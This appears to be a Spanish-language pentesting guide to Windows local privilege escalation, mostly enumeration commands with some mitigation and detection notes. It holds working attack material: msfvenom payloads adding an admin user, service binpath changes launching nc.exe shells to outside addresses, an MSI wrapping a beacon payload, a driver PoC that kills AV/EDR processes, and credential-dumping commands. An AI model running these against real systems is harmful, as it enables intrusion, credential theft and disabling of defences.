Hay diferentes cosas en Windows que podrían impedirte enumerar el sistema, ejecutar ejecutables o incluso detectar tus actividades. Deberías leer la siguiente página y enumerar todos estos mecanismos de defensa antes de comenzar la enumeración para privilege escalation:

{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}

Información del sistema

Enumeración de información de versión

Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site es útil para buscar información detallada sobre las vulnerabilidades de seguridad de Microsoft. Esta base de datos contiene más de 4.700 vulnerabilidades de seguridad, mostrando la enorme superficie de ataque que presenta un entorno Windows.

On the system

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
watson
winpeas (Winpeas incluye watson)

Locally with system information

Github repos of exploits:

Entorno

¿Alguna credencial/información jugosa guardada en las variables de entorno?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo activar esto en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Los detalles de las ejecuciones del pipeline de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de la salida pueden no capturarse.

Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, optando por "Module Logging" en lugar de "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowersShell puedes ejecutar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de la actividad y del contenido íntegro de la ejecución del script, garantizando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una pista de auditoría exhaustiva de cada actividad, valiosa para la investigación forense y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se obtiene información detallada sobre el proceso.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de Script Block pueden ubicarse en el Visor de eventos de Windows en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver los últimos 20 eventos puedes usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configuración de Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS sino http.

Comienza comprobando si la red utiliza una actualización WSUS sin SSL ejecutando lo siguiente en cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

O lo siguiente en PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si obtienes una respuesta como una de las siguientes:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" es igual a 1.

Entonces, es explotable. Si la última entrada del registro es igual a 0, la entrada de WSUS será ignorada.

Para explotar esta vulnerabilidad puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts de exploit MiTM que inyectan actualizaciones 'falsas' en el tráfico WSUS no SSL.

Lee la investigación aquí:

{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}

WSUS CVE-2020-1013

Read the complete report here.
Básicamente, este es el fallo que explota este bug:

Si tenemos la capacidad de modificar el proxy del usuario local, y Windows Updates usa el proxy configurado en la configuración de Internet Explorer, por lo tanto tenemos la capacidad de ejecutar PyWSUS localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.

Además, dado que el servicio WSUS usa la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el hostname de WSUS y añadimos este certificado en el almacén de certificados del usuario actual, podremos interceptar tanto el tráfico HTTP como HTTPS de WSUS. WSUS no usa mecanismos tipo HSTS para implementar una validación de trust-on-first-use sobre el certificado. Si el certificado presentado es confiable por el usuario y tiene el hostname correcto, será aceptado por el servicio.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (una vez esté liberada).

Autoactualizadores de terceros y IPC de agentes (local privesc)

Muchos agentes empresariales exponen una superficie IPC en localhost y un canal de actualización con privilegios. Si el enrolamiento puede ser forzado hacia un servidor del atacante y el actualizador confía en una CA raíz maliciosa o en comprobaciones de firmante débiles, un usuario local puede entregar un MSI malicioso que el servicio SYSTEM instala. Ve una técnica generalizada (basada en la cadena Netskope stAgentSvc – CVE-2025-0309) aquí:

{{#ref}} abusing-auto-updaters-and-ipc.md {{#endref}}

KrbRelayUp

Existe una vulnerabilidad de local privilege escalation en entornos de Windows domain bajo condiciones específicas. Estas condiciones incluyen entornos donde LDAP signing is not enforced, los usuarios poseen permisos para configurarse a sí mismos Resource-Based Constrained Delegation (RBCD), y la capacidad de los usuarios para crear equipos dentro del dominio. Es importante notar que estos requisitos se cumplen con la configuración por defecto.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

Para más información sobre el flujo del ataque revisa https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si estas 2 entradas del registro están habilitadas (valor 0x1), entonces usuarios de cualquier privilegio pueden instalar (ejecutar) *.msi como NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión meterpreter puedes automatizar esta técnica usando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear en el directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás GIU access):

Write-UserAddMSI

Simplemente ejecuta el binario creado para escalar privilegios.

MSI Wrapper

Lee este tutorial para aprender cómo crear un MSI wrapper usando estas herramientas. Ten en cuenta que puedes envolver un archivo ".bat" si solo quieres ejecutar líneas de comandos

{{#ref}} msi-wrapper.md {{#endref}}

Create MSI with WIX

{{#ref}} create-msi-with-wix.md {{#endref}}

Crear MSI con Visual Studio

Genera con Cobalt Strike o Metasploit un nuevo Windows EXE TCP payload en C:\privesc\beacon.exe
Abre Visual Studio, selecciona Create a new project y escribe "installer" en el cuadro de búsqueda. Selecciona el proyecto Setup Wizard y haz clic en Next.
Dale al proyecto un nombre, como AlwaysPrivesc, usa C:\privesc para la ubicación, selecciona place solution and project in the same directory, y haz clic en Create.
Sigue haciendo clic en Next hasta llegar al paso 3 de 4 (choose files to include). Haz clic en Add y selecciona el Beacon payload que acabas de generar. Luego haz clic en Finish.
Resalta el proyecto AlwaysPrivesc en el Solution Explorer y en Properties, cambia TargetPlatform de x86 a x64.
Hay otras propiedades que puedes cambiar, como Author y Manufacturer, las cuales pueden hacer que la app instalada parezca más legítima.
Haz clic derecho en el proyecto y selecciona View > Custom Actions.
Haz clic derecho en Install y selecciona Add Custom Action.
Haz doble clic en Application Folder, selecciona tu archivo beacon.exe y haz clic en OK. Esto asegurará que el beacon payload se ejecute tan pronto como se ejecute el instalador.
Bajo Custom Action Properties, cambia Run64Bit a True.
Finalmente, compílalo.
Si aparece la advertencia File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', asegúrate de configurar la plataforma a x64.

Instalación del MSI

Para ejecutar la instalación del archivo .msi malicioso en segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus y detectores

Configuración de auditoría

Estas configuraciones determinan qué se está registrando, por lo que debes prestar atención

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es interesante saber a dónde se envían los logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de las contraseñas locales de Administrator, asegurando que cada contraseña sea única, aleatoria y actualizada regularmente en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios a los que se les han otorgado permisos suficientes mediante ACLs, lo que les permite ver las contraseñas de admin local si están autorizados.

{{#ref}} ../active-directory-methodology/laps.md {{#endref}}

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir de Windows 8.1, Microsoft introdujo una protección mejorada para la Local Security Authority (LSA) para bloquear intentos de procesos no confiables de leer su memoria o inyectar código, reforzando la seguridad del sistema.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard se introdujo en Windows 10. Su propósito es proteger las credenciales almacenadas en un dispositivo frente a amenazas como los ataques pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Credenciales en caché

Las credenciales de dominio se autentican por la Local Security Authority (LSA) y son utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, normalmente se establecen credenciales de dominio para el usuario.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios & Grupos

Enumerar Usuarios & Grupos

Debes comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

Si perteneces a algún grupo privilegiado, podrías escalar privilegios. Aprende sobre los grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}

Token manipulation

Aprende más acerca de qué es un token en esta página: Windows Tokens.
Consulta la siguiente página para aprender sobre tokens interesantes y cómo abusar de ellos:

{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}

Usuarios conectados / Sesiones

qwinsta
klist sessions

Carpetas de inicio

dir C:\Users
Get-ChildItem C:\Users

Política de contraseñas

net accounts

Obtener el contenido del portapapeles

powershell -command "Get-Clipboard"

Procesos en ejecución

Permisos de archivos y carpetas

Primero, al listar los procesos, comprueba si hay contraseñas dentro de la línea de comandos del proceso.
Comprueba si puedes sobrescribir algún binario en ejecución o si tienes permisos de escritura de la carpeta del binario para explotar posibles DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre comprueba si hay posibles electron/cef/chromium debuggers en ejecución, podrías abusar de ellos para escalate privileges.

Comprobación de permisos de los binarios de los procesos

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Comprobando los permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puedes crear un volcado de memoria de un proceso en ejecución usando procdump de sysinternals. Servicios como FTP tienen las credentials in clear text in memory, intenta volcar la memoria y leer las credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD, o explorar directorios.

Ejemplo: "Windows Help and Support" (Windows + F1), busca "command prompt", haz clic en "Click to open Command Prompt"

Servicios

Obtener una lista de servicios:

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información de un servicio

sc qc <service_name>

Se recomienda disponer del binario accesschk de Sysinternals para comprobar el nivel de privilegios requerido para cada servicio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda comprobar si "Authenticated Users" pueden modificar cualquier servicio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar servicio

Si tienes este error (por ejemplo con SSDPSRV):

Se ha producido el error del sistema 1058.
No se puede iniciar el servicio, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados.

Puedes habilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Ten en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra alternativa a este problema es ejecutar:

sc.exe config usosvc start= auto

Modify service binary path

En el escenario donde el grupo "Authenticated users" posee SERVICE_ALL_ACCESS en un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar servicio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios se pueden escalar a través de varios permisos:

SERVICE_CHANGE_CONFIG: Permite la reconfiguración del binario del servicio.
WRITE_DAC: Permite la reconfiguración de permisos, lo que puede llevar a la capacidad de cambiar las configuraciones del servicio.
WRITE_OWNER: Permite adquirir la propiedad y reconfigurar permisos.
GENERIC_WRITE: Hereda la capacidad de cambiar las configuraciones del servicio.
GENERIC_ALL: También hereda la capacidad de cambiar las configuraciones del servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar exploit/windows/local/service_permissions.

Services binaries weak permissions

Comprueba si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking).
Puedes obtener cada binario que es ejecutado por un servicio usando wmic (not in system32) y comprobar tus permisos usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permisos para modificar el registro de servicios

Debes comprobar si puedes modificar algún registro de servicio.
Puedes comprobar tus permisos sobre un registro de servicio haciendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe comprobar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen permisos FullControl. Si es así, el binary ejecutado por el servicio puede ser alterado.

Para cambiar la ruta del binary ejecutado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Si tienes este permiso sobre un registro, esto significa que puedes crear subclaves del registro desde éste. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}

Unquoted Service Paths

Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada segmento que termine antes de un espacio.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Enumera todas las rutas de servicio sin comillas, excluyendo las que pertenezcan a servicios integrados de Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de recuperación

Windows permite a los usuarios especificar acciones a ejecutar si un servicio falla. Esta característica puede configurarse para apuntar a un binary. Si este binary es reemplazable, podría ser posible privilege escalation. Más detalles se pueden encontrar en la official documentation.

Aplicaciones

Aplicaciones instaladas

Comprueba los permissions of the binaries (maybe you can overwrite one and escalate privileges) y de las folders (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de escritura

Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que vaya a ser ejecutado por una cuenta Administrator (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos en el sistema es haciendo:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Ejecutar al inicio

Comprueba si puedes sobrescribir alguna entrada del registro o binario que vaya a ser ejecutado por otro usuario.
Lee la siguiente página para aprender más sobre ubicaciones interesantes de autoruns para escalar privilegios:

{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}

Drivers

Busca posibles drivers de terceros extraños/vulnerables

driverquery
driverquery.exe /fo table
driverquery /SI

Si un driver expone una primitiva arbitraria de lectura/escritura en kernel (común en manejadores IOCTL mal diseñados), puedes escalar robando un token SYSTEM directamente de la memoria del kernel. Consulta la técnica paso a paso aquí:

{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Algunos drivers de terceros firmados crean su device object con un SDDL estricto vía IoCreateDeviceSecure pero olvidan establecer FILE_DEVICE_SECURE_OPEN en DeviceCharacteristics. Sin esta bandera, el DACL seguro no se aplica cuando el device se abre mediante una ruta que contiene un componente adicional, permitiendo que cualquier usuario no privilegiado obtenga un handle usando una ruta de namespace como:

\ .\DeviceName\anything
\ .\amsdk\anyfile (from a real-world case)

Una vez que un usuario puede abrir el device, los IOCTLs privilegiados expuestos por el driver pueden ser abusados para LPE y manipulación. Capacidades de ejemplo observadas en la naturaleza:

Devolver handles con acceso completo a procesos arbitrarios (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
Lectura/escritura cruda del disco sin restricciones (manipulación offline, trucos de persistencia en el arranque).
Terminar procesos arbitrarios, incluyendo Protected Process/Light (PP/PPL), permitiendo kill de AV/EDR desde user land vía kernel.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigaciones para desarrolladores

Siempre establezca FILE_DEVICE_SECURE_OPEN al crear objetos de dispositivo que estén destinados a ser restringidos por una DACL.
Valide el contexto del llamador para operaciones privilegiadas. Añada comprobaciones PP/PPL antes de permitir la terminación de procesos o la devolución de handles.
Restringa los IOCTLs (máscaras de acceso, METHOD_*, validación de entrada) y considere modelos con intermediación en lugar de privilegios directos en el kernel.

Ideas de detección para defensores

Monitoree aperturas en modo usuario de nombres de dispositivo sospechosos (p. ej., \ .\amsdk*) y secuencias específicas de IOCTL indicativas de abuso.
Haga cumplir la lista de bloqueo de drivers vulnerables de Microsoft (HVCI/WDAC/Smart App Control) y mantenga sus propias listas de permitidos/denegados.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta comprobación:

{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}

Red

Recursos compartidos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Comprueba si hay otros equipos conocidos hardcoded en el hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de red y DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos abiertos

Comprueba si hay servicios restringidos accesibles desde el exterior

netstat -ano #Opened ports?

Tabla de enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reglas de Firewall

Consulta esta página para comandos relacionados con Firewall (listar reglas, crear reglas, desactivar, desactivar...)

Más comandos para la enumeración de red aquí

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

El binario bash.exe también se puede encontrar en C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si obtienes root user puedes escuchar en cualquier puerto (la primera vez que uses nc.exe para escuchar en un puerto, preguntará vía GUI si nc debe ser permitido por el firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar bash como root fácilmente, puedes probar --default-user root

Puedes explorar el sistema de archivos de WSL en la carpeta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciales de Windows

Credenciales de Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Administrador de credenciales / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas con los que Windows puede iniciar sesión automáticamente a los usuarios. A primera vista, esto podría parecer que los usuarios pueden almacenar sus credenciales de Facebook, Twitter, Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.

